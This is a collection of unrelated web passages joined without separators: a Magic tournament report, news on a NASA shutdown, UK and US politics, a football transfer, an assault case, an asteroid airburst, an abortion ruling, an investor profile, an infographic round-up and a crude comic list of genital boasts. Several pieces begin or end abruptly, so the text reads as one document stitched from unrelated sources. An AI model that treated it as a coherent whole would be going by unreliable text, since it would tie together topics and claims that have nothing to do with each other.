He is playing against Melira, at 6 life, with a 3/4 Tarmogoyf in play and a 6/6 Death’s Shadow. His hand is Fatal Push with a fetchland in play ready to activate the revolt. Our opponent is at 7, his board is 3/2 Kitchen Finks, Fiend Hunter (exiling our Tarmogoyf), Viscera Seer, and 2 Birds of Paradise. He has no cards in hand. It’s our main phase and we have to figure out how to attack.
Now it’s obvious that we should send in Death’s Shadow as it’s a lethal threat. The question is: do we attack with Tarmogoyf? We decided to do so. I think it was the correct decision, because if our opponents brick for a turn they can’t really attack because we blow them out with removal, killing Fiend Hunter and blocking another creature. Also, there isn’t really much that they can draw to punish us. We are in no hurry to play the removal spell, as they can’t really attack, and they don’t have profitable blocks.
Unfortunately, it backfired. As expected, our opponent chumped Death’s Shadow, he scryed to the bottom, then drew Collected Company. He flipped Spellskite and Noble Hierarch, which made our Fatal Push useless. He attacks us to 1 and has exalted Birds of Paradise to finish us the next turn and leaving us no outs (Lingering Souls was sided out).
It felt bad to lose this game as I believe we could have won if we held back. But I still think it was correct to attack. That it also knocked us out of Top 4 contention was a terrible feeling. Especially since it was so close and I think I would have probably won my match if I had gotten the cards I needed. I truly felt like I let my teammates down. But there was nothing I could do at that point. We went to dinner, and hoped to do better the next day.
Day 2 was more or less similar—our opponents didn’t show up round 10. Round 11 we lost to Corey Baumeister’s team. I was playing against the Ironworks deck, and even though I won game 1 on the back of Vendilion Clique, I never drew a counterspell in game 2 or 3, and lost. Jason won, so it was once again all on Oliver. He was playing against Corey in the mirror match and the first Death’s Shadow deck we had faced. It all came down to a top deck situation where Corey went creature, creature, removal, removal while we drew creature, discard, land, creature, and died. There was a brief moment of hope as our last draw was Ranger of Eos, but Corey had the Push in hand plus Push on top of his library so we lost. So close, yet so far.
We won all of the remaining rounds, and I once again beat Affinity 2-0. It actually might not be as bad a matchup as advertised. Lastly, we had an interesting battle between Death’s Shadow and Lantern. We had 3 cyclers in hand, but our opponent had Lantern and 3 mill stones. It came down to one big turn and an incredible stack of effects. Luckily, we managed to pull ahead, as we got to draw Tarmogoyf and Abrupt Decay. Our opponents failed to find an answer and one Bridge wasn’t good enough, so we took the match. This meant that we finished with a respectable but unexciting 10-4 record, yielding us each 1 Pro Point. It’s unlikely to matter much for me and Oliver, but I know it meant the world to Jason.
Overall, I had a lot of fun. Team tournaments are great, and Merfolk is great. On the other hand, there were some things I’d like to fix in the future. We have to work on our communication. I have a really hard time understanding Jason’s accent, and he has hard time understanding my mumbling, so basically every conversation goes like this: Jason says something, I say “what?” he repeats, I ask Oliver to translate, Oliver translates, I respond, Jason says “what?” I repeat, Jason answers, and so forth. It’s exhausting.
With Oliver, there is another problem. He is a very talented player, but he has trouble articulating his thoughts, as he mostly plays by intuition. I have a similar problem, and I know many other players who do as well. Unfortunately, that causes problems in team tournaments, as Oliver will say “I want to do this,” but he doesn’t have an explanation for why. This can mostly be solved with experience, so if we play together more often, it should fix itself. That’s why I think the PGO is so good. Aside from the fact that they are all world-class players, they have so much experience and they must have become really good at communication.
Another problem was a result of Unified Modern itself. Since both Jason and Oliver played quite complicated decks, I didn’t really know how to help them. Oliver would often look at me to ask what he should do, and I just had no clue. Do you want to fetch a dual land to make your Death’s Shadow bigger or preserve your life total? Those decisions and many more require practice with the decks. This can be fixed in two ways: you can play with the other decks, or just trust your teammates (which is what I did). It’s still a little frustrating to not be able to help, but if you’re teaming up with top tier players, it’s actually not that big of a problem.
Other than these two issues, the tournament was great, though a little frustrating—especially the Unified Will incident. I will definitely prepare for this in the future.
As for our decks, I think Merfolk and Dredge are good decks. Both Jason and I had 3 losses over the tournament, and two of my losses to Amulet and Ironworks were easy to fix. If you look at my sideboard, I went with 2 Dispels, which are quite good against the instant-based combo decks like Ad Nauseam and Storm. This doesn’t apply to the other two combo decks unfortunately, as they don’t play many instants. I think Dispel is still worth it, however, as it’s great versus Grixis. Modern is so wide open that you have to take risks, and I think it was unfortunate that I had to play against these decks twice.
Other than that, I liked playing against Death’s Shadow and Grixis. Those matchups are close but favorable while Bant Eldrazi is, I think, strictly in my favor. As for our third deck, I’m not sure how good Abzan Death’s Shadow is. We thought it would be our best deck but it had the worst record. All the teams we prepared with reported similar thoughts. From what I’ve seen, I wasn’t very impressed with the card Death’s Shadow. Everyone showed up prepared to beat it, so it might just be correct to play regular Abzan.
Sorry it took so long to get this rolling, but I have had a ton of set backs this last week. Between real work and connection issues with my game – Thanks iPlaySims for helping me resolve that! – it’s been quite the challenge to get this guide done.
We joined forces with Platinum Simmers to bring you an amazing Elixir list. It can’t get any more detailed than this, so make sure you bookmark it. The link to the Elixir list is also in the guide.
Petar from Sim Hrvatska has begun creating the PDF versions of the guide, so expect those to be available soon. That’s all for now, thank you for your patience and I hope you enjoy the guide! 🙂
NASA celebrated its 55th anniversary by shuttering websites and furloughing most of its 18 000 employees as a U.S. government shutdown took effect on 1 October. But future space exploration missions stand to suffer the most from the shutdown's impact.
The U.S. space agency will likely halt work on satellites or spacecraft that have yet to launch, according to NASA's shutdown plans detailed by SPACE.com. Phil Plait, creator of Bad Astronomy, points out that the shutdown could delay the upcoming Mars MAVEN mission beyond its scheduled launch on 18 November and possibly push the mission back until 2016—the next time when Mars and the Earth will be aligned in the best positions for the spacecraft to reach the red planet.
A skeleton crew of mission controllers in Houston continues to support the six members of the International Space Station, including two NASA astronauts, an Italian astronaut, and three Russian cosmonauts. But an astounding 97 percent of NASA's approximately 18 134 employees won't work during the government shutdown.
Still, NASA's shutdown plan includes measures to maintain existing satellites and spacecraft such as the Hubble Space Telescope and the recently-launched LADEE lunar probe, even if the agency will put scientific measurements and photo collection on hold.
"The extent of support necessary and the time needed to safely cease project activities will depend on whether any of the activities are of a hazardous nature (e.g., parts of the satellite may need to be cooled)," according to NASA's shutdown plan.
Perhaps the most public sign of NASA's shutdown is the sudden silence from NASA's many active social media accounts on Twitter, Facebook, and elsewhere. NASA TV has gone offline, and visitors to the NASA.gov website are greeted with the message: "Due to the lapse in federal government funding, this website is not available."
Not every space mission has gone into immediate shutdown mode. NASA missions operated by private contractors—such as the California Institute of Technology's Jet Propulsion Laboratory and Johns Hopkins University's Applied Physics Laboratory—will continue normal operations for the rest of the week, according to a Planetary Society blog post.
The Jet Propulsion Laboratory covers a wide range of missions such as the Mars Curiosity and Opportunity rovers, Mars Odyssey, Mars Reconnaissance Orbiter, the Cassini spacecraft exploring the moons of Saturn, the Dawn spacecraft sent to investigate two asteroids, the Voyager 1 spacecraft roaming interstellar space and more. The Applied Physics Laboratory covers the MESSENGER mission orbiting Mercury and the New Horizons spacecraft headed for Pluto.
But JPL and APL spokespersons told the Planetary Society that their facilities would still have to conserve existing funding to keep operating beyond the shutdown—taking it week by week until the U.S. Congress can pass a spending bill that can put NASA back on course.
This month we have selected the most creative elevator advertisements that make you look twice! View all elevator advertisements after the jump.
1. Movie: Kill Bill
2. Accor Hotel for Olympic Games Sydney
3. Achilles Forklift
4. Air Aisia
5. Alliance
6. Animal Planet
7. Becel: Take action. Love your heart
8. Body World
9. Boeckers Pest Control
10. Coca Cola Zero
11. Maxwell House: Morning Alarm
12. Consol Energy
13. Divorce Lawyer
14. Divorce Lawyer
15. Durex
16. Ecoblog
17. Movie: Superman
18. Fiat Punto: Parking Sensors
19. Folliderm: Prevent hair loss
20. Gold Gym
21. Gold Gym
22. Jelly Tots
23. McDonald’s
24. McDonald’s
25. Mini
26. Oreo
27. Pepsi
28. Resident Evil
29. Semina Lubricant Gel: Gay Pride Parade
30. Shopping Tjuca
31. Snuff
32. Weight Watchers
33. Stop abuse
34. Volkwagen for Safety
35. Kagatani knives
James Morris of GQRR and Ian Warren of Election Data conducted two group discussions last month with Nuneaton voters who had voted Labour in 2005 or 2010 but who had switched to the Conservatives last year, when the MP Marcus Jones was returned with an increased majority. The seat had been identified by Labour as one of 23 ultra-marginals Ed Miliband needed to win. When the result came through just before 2am on Friday 8 May 2015, it was the moment the Labour leader realised the election was lost.
Miliband’s leadership was one of the main reasons given by the groups for voting Conservative. “I couldn’t imagine him as prime minister, not in a million years,” said one man. “Ed Miliband was sort of trying to talk his way through, he was just rubbish, he just couldn’t stick up – he seemed to contradict himself all the time,” said a woman.
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But Corbyn’s image among these voters was if anything worse. “You want a charismatic leader and to me he’s more like Worzel Gummidge,” said one woman. The groups were asked to write down the first words that came to mind when they thought of Corbyn and, apart from “best of a bad bunch” and “don’t know enough about him”, their views were negative (see table below).
The swing voters, especially the men, thought Corbyn was particularly weak on world affairs. “I imagine him in the White House – he’s like someone who got lost from the tour,” said one. Another said: “If the country was about to get blown up he wouldn’t press a button to retaliate… in this day and age you don’t want someone in charge of the country… that people might think twice about you know – oh bloody hell, he means business.”
The groups – of eight women and eight men – had little love for the Conservatives, and a low opinion of politicians generally, but James Morris of GQRR commented: “While the circumstances allow for a Labour recovery, we heard little to suggest it would happen. None of the men we spoke to said they would vote Labour if an election were held tomorrow, and only a couple would even consider the party today, most preferring to consider Ukip or even the Lib Dems instead. This is despite all of the men having voted Labour in 2005, and all but three in 2010.”
The focus groups were carried out on 25 April, before the headlines about anti-Semitism. The full GQRR report is here. The transcript of group 1 is here and that of group 2 is here.
We’ll tell you what’s true. You can form your own view.
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Barnette also wants voters to know she is not in favor of LGBTQ protections against discrimination.
“I would not support the local Ordinance LGBT,” Barnette wrote in a status from July. “I was a magistrate in Mecklenburg County (Charlotte, NC) for over 18 years. I issued a warrant on a male for secret peeping in the local shopping mall years ago in the restroom.”
Charlotte only voted to expand its nondiscrimination ordinance to protect LGBTQ people, including the right of trans people to use the bathrooms matching their gender identity, last year. It was then nullified by House Bill 2 (HB2), and later repealed.
Not only does the status rely on “predators in the bathroom” fear mongering, it seems it occurred at a time before the nondiscrimination ordinance had been expanded to protect transgender people, based on her wording, “years ago.”
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Related: LGBTQ rights groups issue warnings against Sen. Joel Ford’s Charlotte mayoral run
It therefore makes the point that sexual offenders don’t need a law granting trans people the right to use bathrooms matching their gender identity to commit crimes, and that there are already laws in place to deal with those individuals.
The Republican candidate, who is running against city council member Kenny Smith and businessman Gary Dunn in the primary, also drew criticism online for her statement during a debate that she doesn’t think the city should “encourage more lower-income people to (come to) Charlotte.”
“We should attract higher-income people,” she said.
Barnette also said she was not in favor of allowing transgender people to use the restrooms matching their gender identity in the debate.
“I don’t believe that transgenders should be in bathrooms based on their, who they identify with, I never have,” she said. “I believe that there could be a separate restroom, but however I do not believe that that should be allowed whatsoever.”
Related: Could a ‘white’ Charlotte mayoral candidate’s appeal to race actually work?
“As a magistrate, I issued processes on persons that were in the bathroom, males that were in the bathroom, and you never know what they are, and they scare children, quite frankly,” she added.
Barnette could not be immediately reached. We will update this story if she returns our request for comment.
UPDATE (9/2): Barnette has edited her Facebook page to remove the reference to being white, as well as smart and traditional, and now only identifies herself as a Republican.
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UPDATE 2 (9/3): Barnette has responded via email. Her comments, edited for brevity and clarity, follow:
I’m not prejudice. I do not judge other people. Other people judge me. What is the difference? I say I’m white. Others describe themselves as example transgenders. Are they labeling themselves? I’m also a divorced mother of two adult children. I accept others as who they are. I have traditional conservative views when it comes to family and friendships.
UPDATE 3 (9/4): City council member LaWana Mayfield, who is running for reelection, representing District 3, has responded to Barnette’s statements on Twitter.
Mayfield is encouraging everyone to vote, and discourages those thinking a candidate like Barnette can’t win, with a hashtag pointing out that Donald Trump won the presidency despite many doubting it was a real possibility.
Traditional? Is that slang for RACIST? This is why WE ALL must Vote. Don't assume someone like her won't win. #Trumpdid #AmericanotAmerikkka https://t.co/b7JFLpI6Qr — LaWana Mayfield (@lawanamayfield) September 4, 2017
UPDATE 4 (9/5): Barnette appears to have deactivated or deleted her Facebook account.
The chairman of the North Carolina Republican party has condemned Barnette’s racial appeal, calling her a “fringe” candidate.
“Any suggestion that a candidate is more or less qualified for political office based on their skin color alone, is offensive to North Carolina Republicans and we condemn it,” GOP Chairman Robin Hayes said in a statement.
QPoll: Be Heard qnotes wants to know what you think! Have your say by voting in our QPoll below. wants to know what you think! Have your say by voting in our QPoll below. Who do you support in the 2017 Charlotte mayoral race? Jennifer Roberts
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The 28-year-old, a free agent after his Blackburn contract was cancelled by mutual consent earlier this summer, will train with the R’s ahead of a possible return to Loftus Road.
Best spent a month on loan with the club during the 2004-05 season, making five appearances.
He was then a Southampton player and went on to have spells at Coventry and Newcastle before joining Blackburn in 2012.
After spending the first half of last season on loan at Derby, where he made 15 substitute appearances in the Championship without scoring, he spent the second half of the campaign on loan at Brighton.
He made 13 appearances for the Seagulls, seven of them as a substitute – again without scoring.
See also: Hoilett scores hat-trick as QPR's Under-21s draw 5-5
QPR open talks with keeper Smithies
Best plays for QPR in Brentford Under-21 win
QPR not planning to sign Best
QPR would be 'silly' not to look at Best, insists Ramsey
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The suspects, two African-American women and two African-American men who are now all in police custody, shouted anti-white and anti-President-Elect Donald Trump phrases at the man.
The victim, who was reportedly taken from his neighboring suburb and brought into Chicago by the suspects has his beating live-streamed on Facebook by one of the suspects, police confirmed. The man was gagged, cut, and kicked by the suspects as they shouted slurs and him trapped in a corner.
When asked whether the incident would be investigated and prosecuted as a hate crime, police officials were hesitant to call the incident an act of hate against the man because he was white, has special needs and potentially a Trump supporter.
“We’re still investigating it and if the facts guide us to that, then we’ll certainly charge them appropriately,” Chicago Police Department Commander Kevin Duffin told the media during the press conference.
When asked about the suspects’ statements where they said “F*ck Donald Trump” and “F*ck white people” being motivators for possible hate crime charges, a Chicago police official said it would “be part” of the investigation.
“That will certainly be part of whether or not we determine this a hate crime or whether or not this is stupid ranting and raving,” the police official said to the media.
“He’s traumatized by the incident,” Superintendent Eddie Johnson said when asked if the victim had been able to give a full testimony of what occurred.
Police said three of the four suspects are from Chicago and all four can expect charges against them for the horrific incident within the next 48 hours.
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An asteroid, with the energy of three Hiroshima bombs, has exploded in the atmosphere above Indonesia - reigniting fears about Earth's defences against space impacts.
Witnesses in Indonesia heard the explosion and spotted a huge fireball in the sky. The blast was also heard by monitoring stations 10,000 miles away, according to a report by scientists at the University of Western Ontario.
The explosion, on October 8, caused no damage on the ground because it occurred at high altitude, 15 to 20km above Earth's surface.
Nasa estimates the explosion was the equivalent to 50,000 tons of TNT, making it one of the largest asteroid explosions ever observed.
Scientists are worried that it was not spotted by telescopes ahead of the impact, and that had it been larger and at a lower altitude it could have caused a disaster.
A Nasa statement said: "We estimate size to be about 5-10 meters in diameter. As a rule, the most common types of stony asteroids would not be expected to cause ground damage unless their diameters were about 25 meters in diameter or larger."
Tim Spahr, director of the Minor Planet Center in Cambridge, Massachusetts, says that objects as small as 20 or 30 metres across may be capable of doing damage on Earth.
He warned that it was inevitable that these will go unnoticed:
"If you want to find the smallest objects you have to build more, larger telescopes. A survey that finds all of the 20-metre objects will cost probably multiple billions of dollars."
Youtube: the aftermath
New Scientist video: Asteroid alert
Saul Loeb/AFP/Getty Images
Congressional Democrats aren’t just fighting to save the Affordable Care Act from Republicans hell bent on repealing it. They’re laying the groundwork to one-up President Obama’s signature law with a system in which the federal government covers health-care costs, regardless of income, job status, or health status.
That system would be single-payer health care, or “Medicare for All.” It’s all the rage among Democrats on Capitol Hill—and increasingly, among people across the United States.
A full 33 percent of people, regardless of party affiliation, support a “single national government program,” according to a June poll from the nonpartisan Pew Research Center. By party breakdown, 12 percent of Republicans and Republican-leaning independents support such a system, while 8 percent of conservatives, and 20 percent of moderate-to-liberal Republicans, along with 52 percent of Democrats and Democratic-leaning independents, 42 percent of conservative-to-moderate Democrats, and 64 percent of liberal Democrats, back single payer.
Support for the system appears to grow according to how it’s framed. Nonpartisan Kaiser Family Foundation polling from early in the 2016 presidential election season found that even “among Democrats, the term ‘Medicare-for-all’ generates a much more enthusiastic reaction than does ‘single-payer.’ With this discussion still mostly at the stage of broad concepts and messaging, language matters.”
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Whatever you call it, government-funded health care isn’t a new concept. But it’s gained traction as the U.S. public contends with steep coverage losses under GOP health-care alternatives and an administration that may not believe health care is a human right.
Rep. John Conyers (D-MI) introduced the Expanded & Improved Medicare for All Act (HR 676) in the U.S. House of Representatives just days after President Trump took office in January. Conyers’ bill counts the support of 113 Democrats—more than half of the 193 Democrats serving in the chamber.
Conyers has introduced “Medicare for All” bills since 2003, he told Rewire via email. But reports about the tens of millions who would lose insurance under the GOP’s “sadistic” Obamacare repeal efforts have “generated unprecedented interest in and momentum behind this movement.”
“We’ve made a lot of progress under Obamacare, but our goal is universal insurance and we’ve still got a long way to go,” Conyers said. “The only way we’ll get there is with a program that takes the profit motive out of health care and treats it as the essential, human right it is by covering everyone.”
Across the Capitol, former Democratic presidential candidate Sen. Bernie Sanders (I-VT) plans to introduce a version of Medicare for All in the U.S. Senate after the July 4 recess, spokesperson Josh Miller-Lewis told Rewire.
“It will look somewhat similar to the House bill, but I think be a bit more comprehensive,” Miller-Lewis said in a phone interview. The Senate version will include “more details about how to implement a single-payer system in the United States.”
Conyers said “we’ve got a bill that covers the key points. A progressive funding plan, delivery of care, and reducing costs.”
“The Sanders bill may differ a little on the details, but they’ve got far more commonalities than differences,” Conyers said. “The key is that they both expand Medicare to make every single American eligible.”
White House Press Secretary Sean Spicer recently dared Sanders and congressional Democrats to advance single-payer health care.
But the bravado may backfire on Spicer and the White House.
“There is an increasing understanding that this is not just the best way of getting people health care and the most cost-effective for families, it’s also what’s going to make us competitive,” Rep. Ro Khanna (D-CA) told Rewire in a phone interview.
Khanna said entrepreneurs and business leaders in Silicon Valley, which he represents, say that health-care costs, not higher wages, are the “biggest barrier” to economic competitiveness.
“If they are liberated from that, that’s going to create jobs, it’s going to create more startups, it’s going to help us compete and create jobs here at home,” he said.
“It is smart economic policy, and I think more and more people are figuring that out,” he continued. “This argument that it’s socialism is ridiculous.”
Vox’s Ezra Klein in June wrote that Senate Majority Leader Mitch McConnell (R-KY) “may prove the best friend ‘Medicare for all’ ever had.” Only 20 percent of voters are more likely to vote for a member of Congress who supports the U.S. House’s Obamacare repeal and replacement efforts, according to a May Quinnipiac University poll. Meanwhile, the repeal efforts are pushing Democrats to the left on health care.
“Obamacare was the test of the incrementalist theory, and, politically, at least, it’s failed,” Klein wrote. “Democrats built a law to appeal to moderate Republicans that incorporated key ideas from Mitt Romney’s Massachusetts reforms, and it nevertheless became the single most polarizing initiative of Obama’s presidency.”
Sen. Elizabeth Warren (D-MA) recently echoed that sentiment.
“President Obama tried to move us forward with health-care coverage by using a conservative model that came from one of the conservative think tanks that had been advanced by a Republican governor in Massachusetts,” she told the Wall Street Journal in a June interview. “Now it’s time for the next step. And the next step is single payer.”
As early as March, Warren offered an unequivocal “yes” to a constituent who asked her about whether Democrats should fight for a public option or single payer. But HuffPost characterized Warren’s remarks as “a shift to her position on the U.S. health care system.” That same month, Huffpost reported, she hinged her support for a single-payer system “on whether Democrats could find Republican lawmakers willing to help fix the Affordable Care Act passed under Obama.”
Republicans have been unwilling to cross the aisle. A group of 13 Republican men crafted the Senate’s Obamacare repeal bill, the Better Care Reconciliation Act, behind closed doors.
Another high-profile Democrat, Sen. Kirsten Gillibrand (NY), backs Medicare for All.
Warren’s and Gillibrand’s offices did not respond to requests as to whether the lawmakers will co-sponsor Sanders’ bill. Some progressives on the Senate side have expressed reticence toward Obamacare alternatives as they fight to stop Republicans’ repeal efforts, HuffPost reported.
Miller-Lewis, Sanders’ spokesperson, expects to “have more support than we’ve had in the past in the Senate.” He would not specify who else might sign on to the bill.
House Democrats say they’re hearing calls from their constituents and the public to act.
“Support for Medicare for All and other plans continues to grow as families realize that their health care must be protected and that the U.S. lags behind on many key health indicators,” Rep. Robin Kelly (D-IL), chair of the Congressional Black Caucus Health Braintrust, said in an email.
My genitals are so sweetly intoxicating, I was able to convince Cornel West and Camille Paglia to violently disrobe and vigorously copulate with me in a Chablis-fueled, mind-bending threesome that made the seraphim in paradise blush with a mixture of shame and desire!
My genitals are so leviathan that Ahab himself, if he were rendered a non-fictional creature, would surely stand upon his masts crows nest and lob mighty harpoons at me!
If the teaming masses were to behold my juggernaut-like genitals, surely Marx's concept of the End of History would be nigh.
My genitals are of such behemoth proportions, it is to the world of genitalia what Noam Chomsky is to the study of global activism!
My genitals are so mammoth in size, that if inches were words, my member could fill every page of one of Ayn Rand's epic Objectivist tomes!
A fine 1997 Chateau-La Cardonne Bordeaux would go well with my robust and flavorful genitals, even after the third helping!
My genitals are so bursting with sexual magnetism, I could single-handedly seduce and defile the entire lesbian population of Sarah Lawrence University!
My genitals bloat with such passionate force, that upon arousal, I barely have enough epidermis to purse my lips so that I may recite Shelley's immortal poem "Ozymandias"!
If Philip Glass wrote an ambient opera in honor of my genitals, the title of the epic collection of random notes and sounds would be "Phantasmagoric Ode To Big Dong Number Five."!
Hemingway''''s lost book about my genitals began thusly: "His organ was big."
My virility is so profoundly cosmic, that in the event that every human male were to cease to be, my limitless supplies of genetically super-human semen could impregnate the remaining female population, thus siring a perfect race of confident, and impressively endowed men!
Tired Freudian references aside - your mother played my mighty skin flute like a surf crowned sea nymph trying to rouse Poseidon from his watery slumber!
Kurt Anderson secretly admires the cultural relevancy of my genitals, which have supplied artists and writers alike the inspiration needed to create great American works, and this admiration turned to sour envy when he ignored my zippered muse and wrote that appalling "Turn of the Century" that many have mistakenly referred to as a "novel"!
So colossal are my genitals, that they compelled Stephen Hawking to theorize that my sexual gravity is such that a tablespoon of it would weigh more than an entire LA club full of amorous, cocaine-addled, Prada-clad Casanovas!
Opinions expressed by Entrepreneur contributors are their own.
With decades of successful investments behind him, former "Shark Tank" star Kevin Harrington has the experience necessary to spot a hit when he sees it. Not only do his past investments include the infamous Flowbee and the George Foreman Grill, but he’s also known as one of the first entrepreneurs to utilize the infomercial to help build sales for products. His background steers him toward products that can be placed on shopping channels, which often gives him a return on his investment within six months to a year.
Related: 5 Important Startup Lessons From 'Shark Tank'
"It’s a lot riskier in tech," Harrington says. "You have to get that massive traction because there’s no cash flow in the beginning. When you get into tech, it’s a lot more difficult in terms of when does the money come back."
Harrington has found that a successful app starts with having a strong product, but true success relies on getting the word out to generate downloads. Once a product has engaged him, he looks beyond that to determine whether it has what it takes to keep those users coming back on a regular basis throughout the app’s lifetime.
More than 50,000 pitches.
Over the past couple of decades, Harrington estimates he’s heard 50,000 pitches through a combination of private meetings, consumer good shows, trade shows, and other opportunities. With technology, he considers not only how many downloads an app might get, but how often consumers are likely to use the product.
Related: A Look at Shark Tank's Most Memorable Deals
"I’m not your typical Silicon Valley kind of investor," Harrington says. "I generally invest with my own dollars. I’m not sitting on billions to invest. I’ve made a lot and invested a lot."
Solving problems.
A product that captures Harrington’s attention often solves a common problem. One example is his investment in Appnotch, which turns any website into an app quickly. Not only did the app have the "wow" factor Harrington looks for, but it also fits into his own world, which helps him personally connect with it. He had a similar reaction when he was approached by a couple of young entrepreneurs who pitched a motion-activated, light-up toilet.
Related: Q&A with 'Shark Tank' Judge Kevin Harrington
"The toilet bowl illuminator is one of those 'spoofing' kind of products that’s getting a lot of attention," Harrington says, comparing it to his previous investment in the Flowbee, which was spoofed in the hit film "Wayne’s World." "When people say 'What is it that excites you about going to these trades shows and taking all these pitches?' Well products like this are what excite me. When someone comes up to you and says 'I’m going to illuminate your toilet bowl,' and than a few months later you’re selling millions of them."
Judges at the UK’s highest court announced their decision to narrowly reject an appeal by a mother and daughter with a three to two majority.
The three judges who dismissed the appeal argued for the need to “afford respect to the democratic decision of the people of Northern Ireland”.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
The news comes as Theresa May holds talks with the Democratic Unionist Party (DUP) – which has long opposed abortion – about backing a minority government.
The 20-year-old woman at the centre of the appeal was 15 in October 2012 when she and her mother, both of whom cannot be named for legal reasons, travelled from Northern Ireland to Manchester.
She was told she had to pay hundreds of pounds for a private termination because she was excluded from free abortion services.
More than 724 women travelled from Northern Ireland to England for abortions in 2016, according to the British Pregnancy Advisory Service (Bpas).
Announcing the Supreme Court’s decision, Lord Wilson said the justices had been “sharply divided” about the outcome.
The Court’s deputy presidents Lady Hale and Lord Kerr said they would have allowed the latest appeal, because “the policy is incompatible with the Convention rights of women from Northern Ireland.”
“The difference in treatment by the NHS in England between women from England and women from Northern Ireland cannot be justified by respect for the democratic decisions made in Northern Ireland as to what will be provided by the NHS there,” they wrote in the judgement.
However, Lord Wilson, Lord Reed and Lord Hughes said these views “command considerable respect”, but dismissed the appeal because to allow the ruling would contribute to “both a substantial level of health tourism into England from within the UK and from abroad and a near collapse of the edifice of devolved health services”.
“Although this court must acknowledge respect for the ethical ‘pro-life’ convictions which inform the law in relation to abortions in Northern Ireland ... it remains easy to understand why the plight of women who find themselves in unwanted pregnancy there is deeply unenviable,” they said.
They said travelling to the UK for abortion services did not represent a “special case”, as it is “easy to think of other people suffering a grave medical condition who could mount an equally convincing special case”.
The mother and daughter originally lost their action in London’s High Court in May 2014 when a judge ruled that the exclusion was lawful, and suffered a further defeat at the Court of Appeal in 2015.
The High Court judge concluded that the Health Secretary was entitled to adopt a residence-based system so that women resident in Northern Ireland are not entitled to benefit from NHS abortion services in England, even though they are UK citizens.​
The young woman, who is referred to as A and her mother as B, have now vowed to take their case to Europe. They said in a statement: “We are really encouraged that two of the judges found in our favour and all of the judges were sympathetic to A’s situation.
“We have come this far and fought hard because the issues are so important for women in Northern Ireland.
“For this reason, we will do all that we can to take the fight further. We have instructed our legal team to file an application with the European Court of Human Rights in Strasbourg, to protect the human rights of the many other women who make the lonely journey to England every week because they are denied access to basic healthcare services in their own country.”
Shape Created with Sketch. Thousands march in Dublin for Irish abortion rights Show all 5 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Thousands march in Dublin for Irish abortion rights 1/5 REUTERS 2/5 REUTERS 3/5 REUTERS 4/5 REUTERS 5/5 REUTERS 1/5 REUTERS 2/5 REUTERS 3/5 REUTERS 4/5 REUTERS 5/5 REUTERS
Ann Furedi, chief executive of Bpas said it was “morally right” to provide NHS-funded abortions to women in Northern Ireland in England.
“NHS-funded abortion care may not have been declared a legal right for Northern Irish women today, but it is morally right to provide it,” she said. “724 women travelled from Northern Ireland to England for abortion care in 2016. They deserve the same care and compassion as all other UK citizens.”
Martha Spurrier, director of Liberty, said: “The UK Government can and must take a stand against laws which criminalise abortion.
“Will ministers continue to turn a blind eye to the suffering caused by these antiquated laws – or will they challenge their DUP partners and push for a change supported by the majority of Northern Ireland’s population?”
Additional reporting by Press Association
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
We are bombarded daily with information, and it can be difficult for our brains to process facts and figures in bulk. But author, designer and data-journalist David McCandless has set out to make things a little easier to understand.
Take a look at some of the elegant and colourful infographics from his book Knowledge is Beautiful - and see how much you are able to absorb.
McCandless says his book was created over two years, with 15,832 hours of human labour.
While not an inconsiderable amount of time for a person in a lifetime, it is however just a tiny speck compared to the period covered in his Timeline of the Far Future.
With information sourced from institutions such as Nasa, the Potsdam Institute and the Geological Society, the colourful, curvy timeline travels deep into the future.
In 10,000 years, the book suggests, the Earth's axis will change - reversing summer and winter months.
But it will take another 10,000 years before Ukraine's Chernobyl nuclear site will be totally safe, after the disaster there in 1986.
There might be a few thousand software updates to perform first, but watch out at 100,000 years - when titanium in present-day laptops will start to corrode.
At that point, you may decide it is time for an upgrade.
As hundreds of thousands of years turn into millions, humankind will have to cope with the strong possibility of a new Ice Age, or being hit by devastating asteroid strikes.
Some have proposed that the Y chromosome could die out in 5,000,000 years or so - but the research is disputed, with new studies casting doubt on whether or not that would happen.
And eventually, Earth's surviving population of women will have to find somewhere else to live.
Going to dinner at the home of a friend from a foreign country? Don't want to cause a faux pas?
McCandless's Etiquettrix is a guide to social dos and don'ts when visiting.
Green answers mean yes, go ahead. Brown ones are definite no nos. While grey ones are worth double-checking first, before putting your foot in it.
Feel free to burp in front of dinner hosts in China, but do not tap your chopsticks on the table.
And with Arab hosts, finger-licking is apparently fine - but do not make "yum-yum" noises in appreciation.
Using findings from various studies published in scientific and medical journals - with colour grading to signify the strength of the evidence - the next infographic could help you choose a path to Live Long...
The coloured bars spray out to the left and right of a central line.
The bars to the right suggest ways of prolonging life, and those to the left hint at how you could die younger.
Some studies have suggested that having sex and being religious could help you reach old age.
While, there is stronger evidence that suggests getting hitched - and not being short of cash - will also help.
The strongest evidence points, not surprisingly, to living a healthy lifestyle.
But... up a mountain?
McCandless concludes the perfect recipe for a long life is to be a "married happy go-lucky outdoors-loving sex-mad hippy party-girl in senior management with a cat".
What is 7 x 9? Or how about 4 x 8?
Some mathematical calculations in the one to 12 times tables are more difficult to learn than others.
The grid features the results of multiplication tests taken by a group of young primary school children.
Multiplying by 10 is easy. But by 6, 7, 8 and 9 is more tricky.
7 x 9 is 63.
4 x 8 is 32.
The next graphic uses coloured blocks to show how much it has cost Californian lawmakers to keep inmates on death row.
Using data from a university study, published by the Loyola of Los Angeles Law Review, it shows the average amount of money spent per death - just over £200m.
Your pet's name? Your favourite food? Or something totally random?
Have you unwittingly chosen one of the top 500 English language passwords?
This infographic, styled like a scatter graph, features words alphabetically left to right. The bigger the text size, it is claimed, the stronger the password.
The words are colour coded into categories. Animals blue - sporting terms red - and so on.
Words floating towards the top of the chart are the most popular - and therefore, arguably, less safe.
More colour coding here - this time, to categorise themes some of the best-known, and most-believed, urban myths.
The Great Wall of China - big and long though it is - is not, claims the book, visible from space.
And apparently goldfish do not have a three second memory - but something closer to three months.
Bronson, Eastwood and Van Damme.
Lundgren, Willis and Neeson.
The list could go on.
This final graphic assess the deadliness of Hollywood's action stars.
Between them all, they have notched up more than 11,000 kills.
In terms of big hitters, Jason Statham, Sylvester Stallone, Wesley Snipes and Steven Seagal are near the top of the list.
But Arnold Schwarzenegger - the star of Conan the Barbarian, Predator and the Terminator series - beats them all.
